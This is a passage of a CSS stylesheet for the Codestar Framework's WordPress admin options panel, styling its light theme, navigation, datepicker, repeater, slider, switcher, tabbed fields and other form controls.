  background-color: #eee;
}
.csf-theme-light .csf-expand-all:hover {
  color: #555;
}
.csf-theme-light .csf-search input {
  color: #555;
  background-color: #eee;
}
.csf-theme-light .csf-search input::-webkit-input-placeholder {
  color: #999;
}
.csf-theme-light .csf-nav ul li a {
  font-weight: 500;
  color: #444;
  background-color: #f5f5f5;
}
.csf-theme-light .csf-nav ul li a:hover {
  color: #111;
  background-color: #fff;
}
.csf-theme-light .csf-nav ul li .csf-active {
  color: #111;
  background-color: #fff;
}
.csf-theme-light .csf-nav ul ul li a {
  background-color: #eee;
}
.csf-theme-light .csf-nav-normal > ul {
  margin-right: -1px;
  margin-bottom: -1px;
}
.csf-theme-light .csf-nav-normal > ul li a {
  border-bottom: 1px solid #ccd0d4;
  border-right: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-normal > ul li .csf-active {
  border-right-color: #fff;
}
.csf-theme-light .csf-nav-inline {
  background-color: #f5f5f5;
  border-bottom: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-inline > ul {
  margin-bottom: -1px;
}
.csf-theme-light .csf-nav-inline > ul li a {
  text-align: center;
  border-right: 1px solid #ccd0d4;
  border-bottom: 1px solid #ccd0d4;
}
.csf-theme-light .csf-nav-inline > ul li .csf-active {
  border-bottom-color: #fff;
}
.csf-theme-light .csf-nav-inline > ul ul {
  display: none !important;
}
.csf-theme-light .csf-nav-inline .csf-arrow:after {
  display: none;
}
.csf-theme-light .csf-nav-background {
  background-color: #f5f5f5;
}
.csf-theme-light .csf-footer {
  color: #555;
  border-top: 1px solid #ccd0d4;
  background-color: #f5f5f5;
}
.csf-field {
  position: relative;
  padding: 30px;
}
.csf-field + .csf-field {
  border-top: 1px solid #eee;
}
.csf-field p:first-child {
  margin-top: 0;
}
.csf-field p:last-child {
  margin-bottom: 0;
}
.csf-field:after,
.csf-field:before {
  content: " ";
  display: table;
}
.csf-field:after {
  clear: both;
}
.csf-field h4 {
  margin-top: 0;
}
.csf-field .csf-title {
  position: relative;
  width: 35%;
  float: left;
}
.csf-field .csf-title h4 {
  margin: 0;
  color: #23282d;
}
.csf-field .csf-fieldset {
  float: right;
  width: calc(65% - 20px);
}
.csf-pseudo-field {
  padding: 0 5px 0 0 !important;
  display: inline-block;
}
.csf-pseudo-field + .csf-pseudo-field {
  border: 0;
}
.csf-pseudo-field pre {
  display: none;
}
.csf-field-accordion .csf-accordion-item {
  position: relative;
  margin-bottom: 5px;
}
.csf-field-accordion .csf-accordion-item:last-child {
  margin-bottom: 0;
}
.csf-field-accordion .csf-accordion-item h4 {
  font-size: 1em;
}
.csf-field-accordion .csf-accordion-title {
  display: block;
  cursor: pointer;
  position: relative;
  margin: 0;
  padding: 15px;
  min-height: 0;
  font-size: 100%;
  user-select: none;
  border: 1px solid #ccd0d4;
  background-color: #fafafa;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
  transition: border-color 0.15s;
}
.csf-field-accordion .csf-accordion-title:active,
.csf-field-accordion .csf-accordion-title:focus,
.csf-field-accordion .csf-accordion-title:hover {
  outline: 0;
  border-color: #999;
}
.csf-field-accordion .csf-accordion-title .csf--icon {
  width: 20px;
  text-align: center;
  margin-right: 2px;
}
.csf-field-accordion .csf-accordion-icon {
  width: 16px;
  text-align: center;
}
.csf-field-accordion .csf-accordion-content {
  display: none;
  padding: 0;
  border: 1px solid #ccd0d4;
  border-top: none;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-accordion .csf-accordion-content > .csf-field {
  padding: 15px;
}
.csf-field-accordion .csf-accordion-open {
  display: block;
}
.csf-field-background .csf-field {
  border: 0 !important;
  padding: 0;
  margin-bottom: 6px;
  margin-right: 6px;
}
.csf-field-background .csf--title {
  color: #777;
  font-size: 12px;
}
.csf-field-background .csf--background-colors {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-background .csf--background-attributes {
  display: flex;
  flex-wrap: wrap;
}
.csf-field-background .csf--background-attributes select {
  min-width: 100%;
  margin: 0;
}
.csf-field-background .csf--background-attributes .csf-field {
  flex: 1;
}
.csf-field-background .csf--attributes-hidden {
  display: none;
}
.csf-field-backup textarea {
  width: 100%;
  min-height: 200px;
  margin-bottom: 5px;
}
.csf-field-backup small {
  display: inline-block;
  margin: 5px;
}
.csf-field-backup hr {
  margin: 20px 0;
  border: none;
  border-bottom: 1px solid #e5e5e5;
}
.csf-field-border .csf--inputs,
.csf-field-dimensions .csf--inputs,
.csf-field-spacing .csf--inputs,
.csf-field-spacings .csf--inputs,
.csf-field-sizes .csf--inputs {
  float: left;
  display: flex;
  flex-wrap: wrap;
}
.csf-field-border .csf--input,
.csf-field-dimensions .csf--input,
.csf-field-spacing .csf--input,
.csf-field-spacings .csf--input,
.csf-field-sizes .csf--input {
  display: flex;
  padding-right: 6px;
  padding-bottom: 4px;
  box-sizing: border-box;
}
.csf-field-border .csf--input select,
.csf-field-dimensions .csf--input select,
.csf-field-spacing .csf--input select {
  margin: 0;
}
.csf-field-border .csf--input input,
.csf-field-dimensions .csf--input input,
.csf-field-spacing .csf--input input,
.csf-field-spacings .csf--input input,
.csf-field-sizes .csf--input input {
  position: relative;
  z-index: 1;
  margin: 0;
  width: 65px;
  max-width: 100%;
  text-align: center;
}
.csf-field-border .csf--color,
.csf-field-dimensions .csf--color,
.csf-field-spacing .csf--color,
.csf-field-spacings .csf--color {
  float: left;
}
.csf-field-border .csf--label,
.csf-field-dimensions .csf--label,
.csf-field-spacing .csf--label,
.csf-field-spacings .csf--label,
.csf-field-sizes .csf--label {
  display: flex;
  flex-direction: column;
  justify-content: center;
  user-select: none;
  min-width: 20px;
  max-width: 100%;
  padding: 0 4px;
  font-size: 12px;
  text-align: center;
  color: #555;
  border: 1px solid #7b776c;
  background-color: #f5f5f5;
}
.csf-field-border .csf--icon,
.csf-field-dimensions .csf--icon,
.csf-field-spacing .csf--icon,
.csf-field-spacings .csf--icon,
.csf-field-sizes .csf--icon {
  border-right: 0;
  border-radius: 0;
}
.csf-field-border .csf--icon + input,
.csf-field-dimensions .csf--icon + input,
.csf-field-spacing .csf--icon + input,
.csf-field-spacings .csf--icon + input,
.csf-field-sizes .csf--icon + input {
  border-top-left-radius: 0 !important;
  border-bottom-left-radius: 0 !important;
}
.csf-field-border .csf--unit,
.csf-field-dimensions .csf--unit,
.csf-field-spacing .csf--unit,
.csf-field-spacings .csf--unit,
.csf-field-sizes .csf--unit {
  border-left: 0;
  border-radius: 0;
}
.csf-field-border .csf--is-unit,
.csf-field-dimensions .csf--is-unit,
.csf-field-spacing .csf--is-unit,
.csf-field-spacings .csf--is-unit,
.csf-field-sizes .csf--is-unit {
  border-top-right-radius: 0 !important;
  border-bottom-right-radius: 0 !important;
}
.csf-field-button_set .csf--buttons {
  display: inline-block;
}
.csf-field-button_set .csf--button {
  position: relative;
  z-index: 1;
  float: left;
  cursor: pointer;
  padding: 7px 14px;
  min-width: 16px;
  text-align: center;
  color: #555;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  user-select: none;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
}
.csf-field-button_set .csf--button:first-child {
  border-radius: 0;
}
.csf-field-button_set .csf--button:last-child {
  border-radius: 0;
}
.csf-field-button_set .csf--button:not(:first-child) {
  margin-left: -1px;
}
.csf-field-button_set .csf--button:hover {
  background-color: #eee;
}
.csf-field-button_set .csf--active,
.csf-field-button_set .csf--active:hover {
  z-index: 2;
  color: #fff;
  border-color: #006799;
  background-color: #0085ba;
}
.csf-field-button_set input {
  display: none;
}
.csf-field-checkbox ul,
.csf-field-radio ul {
  margin: 0;
  padding: 0;
  list-style-type: none;
  overflow-y: auto;
  max-height: 305px;
}
.csf-field-checkbox ul li,
.csf-field-radio ul li {
  margin-bottom: 6px;
}
.csf-field-checkbox ul ul,
.csf-field-radio ul ul {
  max-height: none;
}
.csf-field-checkbox ul ul li,
.csf-field-radio ul ul li {
  margin-left: 8px;
}
.csf-field-checkbox ul ul li:first-child,
.csf-field-radio ul ul li:first-child {
  margin-left: 0;
}
.csf-field-checkbox input,
.csf-field-radio input {
  margin: 0 1px;
}
.csf-field-checkbox .csf--inline-list li,
.csf-field-radio .csf--inline-list li {
  display: inline-block;
  margin-right: 15px;
}
.csf-field-checkbox .csf--text,
.csf-field-radio .csf--text {
  margin-left: 5px;
  vertical-align: middle;
}
.csf-field-checkbox .csf-checker,
.csf-field-radio .csf-checker {
  cursor: pointer;
}
.csf-field-checkbox .csf-checkbox-all,
.csf-field-radio .csf-checkbox-all {
  user-select: none;
  cursor: pointer;
  margin-top: 5px;
  font-weight: 500;
  text-decoration: none;
}
.csf-field-code_editor .CodeMirror {
  width: 100%;
  height: 400px;
}
.csf-field-code_editor .cm-s-default {
  border: 1px solid #ccd0d4;
}
.csf-field-code_editor textarea {
  width: 100%;
  height: 400px;
}
.csf-field-color > input {
  opacity: 0.75;
  width: 115px;
  max-width: 100%;
}
.csf-field-color .button.wp-picker-clear {
  padding: 0 8px;
  margin-left: 6px;
  line-height: 2.54545455;
  min-height: 30px;
}
.csf-field-color_group .csf--left {
  float: left;
  margin-right: 10px;
  margin-bottom: 5px;
}
.csf-field-color_group .csf--title {
  color: #999;
  margin-bottom: 5px;
}
.csf-field-fieldset .csf-fieldset-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-fieldset .csf-fieldset-content > .csf-field {
  padding: 15px;
}
.csf-field-fieldset .csf-field-subheading {
  font-size: 13px;
}
.csf-field-date input {
  margin: 0;
}
.csf-field-date .csf--to {
  margin-left: 7px;
}
.csf-datepicker-wrapper {
  margin-top: 5px;
  width: auto;
  background-color: #fff;
  z-index: 9999999 !important;
  box-shadow: 0 0 30px rgba(0, 0, 0, 0.15);
}
.csf-datepicker-wrapper * {
  float: none;
  margin: 0;
  padding: 0;
  font-family: inherit;
  font-weight: 400;
  font-style: normal;
  text-decoration: none;
  border: 0;
  border-radius: 0;
  box-shadow: none;
}
.csf-datepicker-wrapper .ui-datepicker-header,
.csf-datepicker-wrapper .ui-widget-header {
  color: #fff;
  background: #00a0d2;
}
.csf-datepicker-wrapper .ui-datepicker-header .ui-state-hover {
  cursor: pointer;
}
.csf-datepicker-wrapper .ui-datepicker-title {
  font-size: 14px;
  line-height: 40px;
  text-align: center;
}
.csf-datepicker-wrapper .ui-datepicker-next,
.csf-datepicker-wrapper .ui-datepicker-prev {
  position: static;
  top: auto;
  left: auto;
  right: auto;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 12px;
  text-align: center;
  width: 41px;
  height: 40px;
  line-height: 40px;
  color: #fff;
  background-color: rgba(255, 255, 255, 0.1);
  text-rendering: auto;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
.csf-datepicker-wrapper .ui-datepicker-next span,
.csf-datepicker-wrapper .ui-datepicker-prev span {
  display: none;
}
.csf-datepicker-wrapper .ui-datepicker-prev {
  float: left;
}
.csf-datepicker-wrapper .ui-datepicker-next {
  float: right;
}
.csf-datepicker-wrapper .ui-datepicker-prev:before {
  content: "\f053";
}
.csf-datepicker-wrapper .ui-datepicker-next:before {
  content: "\f054";
}
.csf-datepicker-wrapper .ui-datepicker-next-hover,
.csf-datepicker-wrapper .ui-datepicker-prev-hover {
  opacity: 0.75;
}
.csf-datepicker-wrapper tbody .ui-datepicker-week-col {
  background-color: #f7f7f7;
}
.csf-datepicker-wrapper .ui-datepicker-buttonpane {
  padding: 10px;
  text-align: center;
  background-color: #f7f7f7;
}
.csf-datepicker-wrapper .ui-datepicker-buttonpane button {
  cursor: pointer;
  margin: 0 5px;
  padding: 7px 14px;
  border: 1px solid #eee;
  background-color: #fff;
}
.csf-datepicker-wrapper select {
  margin: 0 4px;
}
.csf-datepicker-wrapper select option {
  color: #555;
}
.csf-datepicker-wrapper table {
  font-size: 13px;
  border-collapse: collapse;
  width: 100%;
}
.csf-datepicker-wrapper thead {
  color: #fff;
  background: #32373c;
}
.csf-datepicker-wrapper th {
  text-align: center;
  padding: 7px;
  border: 1px solid #444;
}
.csf-datepicker-wrapper td {
  text-align: center;
  border: 1px solid #f4f4f4;
}
.csf-datepicker-wrapper td.ui-datepicker-other-month {
  border: transparent;
}
.csf-datepicker-wrapper td .ui-state-default {
  color: #555;
  width: auto;
  display: block;
  padding: 6px 12px;
}
.csf-datepicker-wrapper td .ui-state-active,
.csf-datepicker-wrapper td .ui-state-hover {
  color: #fff;
  background-color: #0073aa;
}
.csf-datepicker-wrapper td.ui-state-disabled .ui-state-default {
  opacity: 0.5;
}
.csf-field-datetime input {
  margin: 0;
}
.csf-field-datetime .csf--to {
  margin-left: 7px;
}
.csf-flatpickr input,
.csf-flatpickr select {
  min-height: auto;
}
.csf-flatpickr input:focus,
.csf-flatpickr select:focus {
  box-shadow: none;
}
.csf-flatpickr.open {
  z-index: 9999999 !important;
}
.csf-field-gallery ul {
  margin: 0;
  padding: 0;
  list-style-type: none;
}
.csf-field-gallery ul li {
  display: inline-block;
  position: relative;
  padding: 4px;
  margin: 0 5px 10px 0;
  border: 1px solid #ccc;
  background-color: #f9f9f9;
  border-radius: 0;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-field-gallery ul li img {
  max-height: 60px;
  display: inline-block;
  vertical-align: middle;
}
.csf-field-gallery .button {
  margin-right: 5px;
  margin-bottom: 5px;
}
.csf-field-group .csf-cloneable-hidden {
  display: none !important;
}
.csf-field-group .csf-cloneable-wrapper {
  position: relative;
}
.csf-field-group .csf-cloneable-item {
  display: none;
  position: relative;
  margin-bottom: 5px;
}
.csf-field-group .csf-cloneable-item h4 {
  font-size: 1em;
}
.csf-field-group .ui-accordion .csf-cloneable-item {
  display: block;
}
.csf-field-group .csf-cloneable-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-group .csf-cloneable-content > .csf-field {
  padding: 15px;
}
.csf-field-group .csf-cloneable-title {
  display: block;
  cursor: pointer;
  position: relative;
  user-select: none;
  margin: 0;
  padding: 15px 65px 15px 10px;
  min-height: 0;
  font-size: 100%;
  border: 1px solid #ccd0d4;
  background-color: #fafafa;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
  transition: border-color 0.15s;
}
.csf-field-group .csf-cloneable-title:active,
.csf-field-group .csf-cloneable-title:focus,
.csf-field-group .csf-cloneable-title:hover {
  border-color: #999;
  outline: 0;
}
.csf-field-group .csf-cloneable-helper {
  position: absolute;
  top: 12px;
  right: 10px;
  z-index: 1;
  font-size: 14px;
  line-height: 1em;
}
.csf-field-group .csf-cloneable-helper i {
  display: inline-block;
  cursor: pointer;
  padding: 5px;
  color: #999;
}
.csf-field-group .csf-cloneable-helper i:hover {
  color: #555;
}
.csf-field-group .csf-cloneable-content {
  padding: 0;
  border-top: 0;
}
.csf-field-group .csf-cloneable-title-number,
.csf-field-group .csf-cloneable-title-prefix {
  margin-right: 5px;
}
.csf-field-group .csf-cloneable-alert {
  display: none;
  margin-bottom: 5px;
  padding: 10px 20px;
  color: #a94442;
  border: 1px solid #ebccd1;
  background-color: #f2dede;
}
.csf-field-group .widget-placeholder {
  margin-bottom: 10px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-group .csf-cloneable-header-icon {
  display: inline-block;
  text-align: center;
  font-size: 14px;
  width: 17px;
  text-indent: 0;
  vertical-align: text-top;
}
.csf-field-group .csf-cloneable-placeholder {
  background-color: #ddd;
  margin-top: 4px;
  width: 100px;
  height: 10px;
  font-size: 10px;
  line-height: 10px;
  display: inline-block;
  vertical-align: top;
  border-radius: 0;
}
.csf-field-icon .csf-icon-select {
  display: flex;
  grid-gap: 5px;
}
.csf-field-icon .csf-icon-preview:not(.hidden) {
  display: flex;
}
.csf-field-icon .csf-icon-preview i {
  display: flex;
  justify-content: center;
  align-items: center;
  width: 30px;
  font-size: 14px;
  text-align: center;
  vertical-align: top;
  color: #555;
  border: 1px solid #ccc;
  background-color: #f7f7f7;
  border-radius: 0;
  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.08);
}
.csf-field-image_select .csf--image {
  display: inline-block;
  margin: 0 5px 5px 0;
}
.csf-field-image_select .csf--inline-list .csf--image {
  display: block;
}
.csf-field-image_select figure {
  cursor: pointer;
  position: relative;
  display: inline-block;
  max-width: 100%;
  margin: 0;
  vertical-align: bottom;
  border: 2px solid transparent;
  background-color: #fff;
  user-select: none;
  transition: all 0.2s;
}
.csf-field-image_select figure:before {
  position: absolute;
  top: 0;
  left: 0;
  text-align: center;
  font-size: 10px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  content: "\f00c";
  width: 16px;
  height: 16px;
  line-height: 14px;
  opacity: 0;
  color: #fff;
  background-color: #222;
  transition: opacity 0.2s;
}
.csf-field-image_select .csf--active figure {
  border-color: #222;
  box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
}
.csf-field-image_select .csf--active figure:before {
  opacity: 1;
}
.csf-field-image_select img {
  max-width: 100%;
  height: auto;
  vertical-align: top;
}
.csf-field-image_select input {
  display: none;
}
.csf-field-link_color .csf--left {
  float: left;
  margin-right: 10px;
  margin-bottom: 5px;
}
.csf-field-link_color .csf--title {
  color: #777;
  margin-bottom: 5px;
}
.csf-field-map input {
  width: 100%;
}
.csf-field-map input[type="text"].ui-autocomplete-loading {
  background-position-x: calc(100% - 5px);
}
.csf-field-map .csf--map-search + .csf--map-osm-wrap {
  margin-top: 10px;
}
.csf-field-map .csf--map-osm-wrap {
  position: relative;
  padding: 5px;
  border: 1px solid #eee;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-map .csf--map-osm {
  position: relative;
  z-index: 1;
  min-height: 250px;
}
.csf-field-map .csf--map-inputs {
  margin-top: 10px;
  display: flex;
  justify-content: space-between;
}
.csf-field-map .csf--map-input {
  flex: 1;
}
.csf-field-map .csf--map-input:last-child {
  padding-left: 10px;
}
.csf-field-map label {
  display: block;
  color: #777;
  font-size: 12px;
  margin: 0 0 2px 0;
}
.csf-map-ui-autocomplate {
  z-index: 999999;
  border-radius: 0;
  overflow: hidden;
}
.csf-field-media .csf--placeholder {
  display: flex;
  align-items: flex-start;
}
.csf-field-media .csf--placeholder input {
  width: 100%;
  margin: 0;
}
.csf-field-media .button {
  margin-left: 5px;
}
.csf-field-media .hidden + .button {
  margin-left: 0;
}
.csf-field-media .csf--preview {
  position: relative;
}
.csf-field-palette .csf--palette {
  position: relative;
  display: inline-block;
  cursor: pointer;
  border: 2px solid #ddd;
  margin-right: 10px;
  margin-bottom: 10px;
  user-select: none;
  -webkit-user-select: none;
  transition: all 0.2s;
}
.csf-field-palette .csf--palette span {
  vertical-align: middle;
  display: inline-block;
  width: 22px;
  height: 60px;
  line-height: 60px;
  overflow: hidden;
  text-indent: -999px;
}
.csf-field-palette .csf--palette:before {
  position: absolute;
  top: 0;
  left: 0;
  text-align: center;
  font-size: 10px;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  content: "\f00c";
  width: 16px;
  height: 16px;
  line-height: 14px;
  opacity: 0;
  color: #fff;
  background-color: #222;
  transition: opacity 0.2s;
}
.csf-field-palette .csf--active {
  border-color: #222;
  box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
}
.csf-field-palette .csf--active:before {
  opacity: 1;
}
.csf-field-palette input {
  display: none;
}
.csf-field-repeater .csf-field-text input {
  width: 100%;
}
.csf-field-repeater .csf-repeater-hidden {
  display: none !important;
}
.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item {
  display: table;
  width: 100%;
  margin-bottom: 5px;
  border: 1px solid #eee;
}
.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item h4 {
  font-size: 1em;
}
.csf-field-repeater .csf-repeater-content {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  background-color: #fff;
}
.csf-field-repeater .csf-repeater-content > .csf-field {
  padding: 15px;
}
.csf-field-repeater .csf-repeater-helper {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  text-align: center;
  font-size: 14px;
  line-height: 1em;
  border-left: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-field-repeater .csf-repeater-helper i {
  display: inline-block;
  cursor: pointer;
  color: #999;
  padding: 5px;
}
.csf-field-repeater .csf-repeater-helper i:hover {
  color: #555;
}
.csf-field-repeater .csf-repeater-helper-inner {
  width: 75px;
}
.csf-field-repeater .csf-repeater-alert {
  display: none;
  margin-bottom: 5px;
  padding: 10px 20px;
  color: #a94442;
  border: 1px solid #ebccd1;
  background-color: #f2dede;
}
.csf-field-repeater .widget-placeholder {
  height: 50px;
  margin-bottom: 3px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-repeater .ui-sortable-helper {
  height: 50px !important;
  overflow: hidden !important;
  border-color: #ccc !important;
  background-color: #eee !important;
  opacity: 0.5;
}
.csf-field-repeater .ui-sortable-helper .csf-repeater-content,
.csf-field-repeater .ui-sortable-helper .csf-repeater-helper {
  display: none;
}
.csf-field-select .csf-fieldset {
  min-height: 30px;
}
.csf-field-select .csf-chosen {
  display: none;
}
.csf-field-select select {
  max-width: 100%;
  margin: 0;
}
.csf-field-select .csf-hide-select {
  display: none !important;
}
.csf-field-slider .csf--wrap {
  display: flex;
  align-items: center;
}
.csf-field-slider .csf--input {
  display: flex;
}
.csf-field-slider .csf--unit {
  display: flex;
  justify-content: center;
  flex-direction: column;
  user-select: none;
  padding: 0 6px;
  font-size: 11px;
  line-height: 1;
  border-radius: 0;
  color: #555;
  border: 1px solid #7e8993;
  border-left: 0;
  background-color: #f5f5f5;
}
.csf-field-slider .csf-slider-ui {
  margin-right: 15px;
}
.csf-field-slider input[type="number"] {
  position: relative;
  z-index: 1;
  margin: 0;
  width: 50px;
  text-align: center;
}
.csf-field-slider .csf--is-unit {
  border-top-right-radius: 0 !important;
  border-bottom-right-radius: 0 !important;
}
.csf-field-slider .ui-slider {
  position: relative;
  width: 100%;
  height: 3px;
  border: none;
  background: #ddd;
  border-radius: 0;
}
.csf-field-slider .ui-slider-range {
  height: 3px;
  border: none;
  background: #333;
  border-radius: 0;
}
.csf-field-slider .ui-slider-handle {
  position: absolute;
  width: 16px;
  height: 16px;
  top: -7px;
  margin-left: -8px;
  border: none;
  background: #333;
  border-radius: 0;
}
.csf-field-slider .ui-slider-handle:hover,
.csf-field-slider .ui-state-active {
  cursor: pointer;
  background: #111;
}
.csf-field-sortable .csf-field-text input {
  width: 100%;
  max-width: 100%;
}
.csf-field-sortable .csf-sortable .csf-sortable-item {
  display: table;
  width: 100%;
  margin-bottom: 5px;
  border: 1px solid #eee;
}
.csf-field-sortable .csf-sortable .csf-sortable-item h4 {
  font-size: 1em;
}
.csf-field-sortable .csf-sortable-content {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  background-color: #fff;
}
.csf-field-sortable .csf-sortable-content > .csf-field {
  padding: 15px;
}
.csf-field-sortable .csf-sortable-helper {
  width: 100%;
  display: table-cell;
  vertical-align: middle;
  text-align: center;
  font-size: 14px;
  line-height: 1em;
  border-left: 1px solid #eee;
  background-color: #f7f7f7;
}
.csf-field-sortable .csf-sortable-helper i {
  display: inline-block;
  cursor: pointer;
  width: 50px;
  color: #555;
}
.csf-field-sortable .csf-sortable-helper i:hover {
  opacity: 0.5;
}
.csf-field-sortable .widget-placeholder {
  height: 50px;
  margin-bottom: 3px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-sortable .ui-sortable-helper {
  height: 50px !important;
  overflow: hidden !important;
  border-color: #ccc !important;
  background-color: #eee !important;
  opacity: 0.5;
}
.csf-field-sortable .ui-sortable-helper .csf-sortable-content,
.csf-field-sortable .ui-sortable-helper .csf-sortable-helper {
  display: none;
}
.csf-field-sorter .ui-sortable-placeholder {
  height: 20px;
  border: 1px dashed #f1c40f;
  background-color: #fffae4;
}
.csf-field-sorter .csf-modules {
  float: left;
  width: 50%;
  box-sizing: border-box;
}
.csf-field-sorter .csf-modules:first-child {
  padding-right: 15px;
}
.csf-field-sorter .csf-modules:last-child {
  padding-left: 15px;
}
.csf-field-sorter .csf-disabled,
.csf-field-sorter .csf-enabled {
  padding: 5px 15px;
  border: 1px dashed #ddd;
  background-color: #fff;
}
.csf-field-sorter .csf-disabled li {
  opacity: 0.5;
  transition: opacity 0.15s;
}
.csf-field-sorter .csf-disabled .ui-sortable-helper {
  opacity: 1;
}
.csf-field-sorter .csf-sorter-title {
  font-size: 13px;
  font-weight: 600;
  padding: 10px;
  text-align: center;
  border: 1px dashed #ddd;
  border-bottom: none;
  background-color: #f8f8f8;
  text-transform: uppercase;
}
.csf-field-sorter ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  min-height: 62px;
}
.csf-field-sorter ul li {
  margin: 10px 0;
  padding: 10px 15px;
  cursor: move;
  font-weight: 700;
  text-align: center;
  border: 1px solid #e5e5e5;
  background-color: #fafafa;
  transition: border-color 0.15s;
}
.csf-field-sorter ul li:hover {
  border-color: #bbb;
}
.csf-field-spinner .csf--spin {
  display: flex;
}
.csf-field-spinner .ui-widget {
  font-family: inherit;
}
.csf-field-spinner .ui-spinner {
  display: flex;
  align-items: stretch;
  overflow: unset;
  border: none;
  background: 0 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-button {
  display: flex;
  flex-direction: column;
  justify-content: center;
  text-align: center;
  min-width: 20px;
  padding: 0 4px;
  margin: 0;
  color: #555;
  background-color: #f5f5f5;
  border: 1px solid #7e8993;
}
.csf-field-spinner .ui-spinner .ui-spinner-button {
  position: relative;
  cursor: pointer;
  height: auto;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:hover {
  background-color: #e7e7e7;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:active {
  background-color: #ddd;
}
.csf-field-spinner .ui-spinner .ui-spinner-button:before {
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 14px;
  line-height: 14px;
}
.csf-field-spinner .ui-spinner .ui-spinner-down {
  border-right: 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-spinner-down:before {
  content: "\f0d9";
}
.csf-field-spinner .ui-spinner .ui-spinner-up {
  border-left: 0;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner .ui-spinner-up:before {
  content: "\f0da";
}
.csf-field-spinner .ui-spinner .csf--unit {
  border-left: 0;
  user-select: none;
}
.csf-field-spinner .ui-spinner .ui-button-icon,
.csf-field-spinner .ui-spinner .ui-button-icon-space,
.csf-field-spinner .ui-spinner .ui-button-text {
  display: none;
}
.csf-field-spinner .ui-spinner input {
  font-family: inherit;
  font-size: inherit;
  position: relative;
  z-index: 1;
  width: 50px;
  text-align: center;
  margin: 0;
  padding: 0 8px;
  border-radius: 0;
}
.csf-field-spinner .ui-spinner-down {
  order: 1;
}
.csf-field-spinner .ui-spinner-input {
  order: 2;
}
.csf-field-spinner .csf--unit {
  order: 3;
}
.csf-field-spinner .ui-spinner-up {
  order: 4;
}
.csf-field-switcher .csf--switcher {
  float: left;
  cursor: pointer;
  position: relative;
  width: 80px;
  height: 36px;
  padding: 0;
  margin: 0;
  overflow: hidden;
  border-radius: 0;
  background-color: #8c8c8c;
  user-select: none;
  -webkit-user-select: none;
}
.csf-field-switcher .csf--ball {
  position: absolute;
  top: 4px;
  left: 4px;
  width: 30px;
  height: 28px;
  background-color: #fff;
  border-radius: 0;
  transition: all 0.1s;
  box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.15);
}
.csf-field-switcher .csf--off,
.csf-field-switcher .csf--on {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  font-size: 11px;
  line-height: 36px;
  font-weight: 500;
  font-style: normal;
  text-align: center;
  text-transform: uppercase;
  color: #fff;
  padding-right: 28px;
  opacity: 0;
  transition: all 0.1s;
}
.csf-field-switcher .csf--off {
  padding-right: 0;
  padding-left: 28px;
  opacity: 1;
}
.csf-field-switcher .csf--active {
  background: var(--wp-admin-theme-color);
}
.csf-field-switcher .csf--active .csf--on {
  opacity: 1;
}
.csf-field-switcher .csf--active .csf--off {
  opacity: 0;
}
.csf-field-switcher .csf--active .csf--ball {
  left: 100%;
  margin-left: -34px;
}
.csf-field-switcher .csf--label {
  float: left;
  margin-top: 4px;
  margin-left: 8px;
  font-weight: 400;
  color: #999;
}
.csf-field-tabbed .csf-tabbed-content {
  border: 1px solid #ccd0d4;
  background-color: #fff;
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}
.csf-field-tabbed .csf-tabbed-content > .csf-field {
  padding: 15px;
}
.csf-field-tabbed .csf-tabbed-nav .csf--icon {
  padding-right: 5px;
}
.csf-field-tabbed .csf-tabbed-nav a {
  display: inline-block;
  padding: 12px 15px;
  margin-top: 1px;
  margin-right: 5px;
  margin-bottom: -1px;
  position: relative;
  text-decoration: none;
  color: #444;
  font-weight: 600;
  border: 1px solid #ccd0d4;
  background-color: #f3f3f3;
  transition: all 0.2s;
}
.csf-field-tabbed .csf-tabbed-nav a:hover {
  background-color: #f9f9f9;
}
.csf-field-tabbed .csf-tabbed-nav a.csf-tabbed-active {
  background-color: #fff;
  border-bottom-color: #fff;
}
.csf-field-tabbed .csf-tabbed-nav a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-field-text input {
  width: 50%;
  max-width: 100%;
  margin: 0;
  border-radius: 0;
}
.csf-field-textarea textarea,
.csf-field-export textarea,
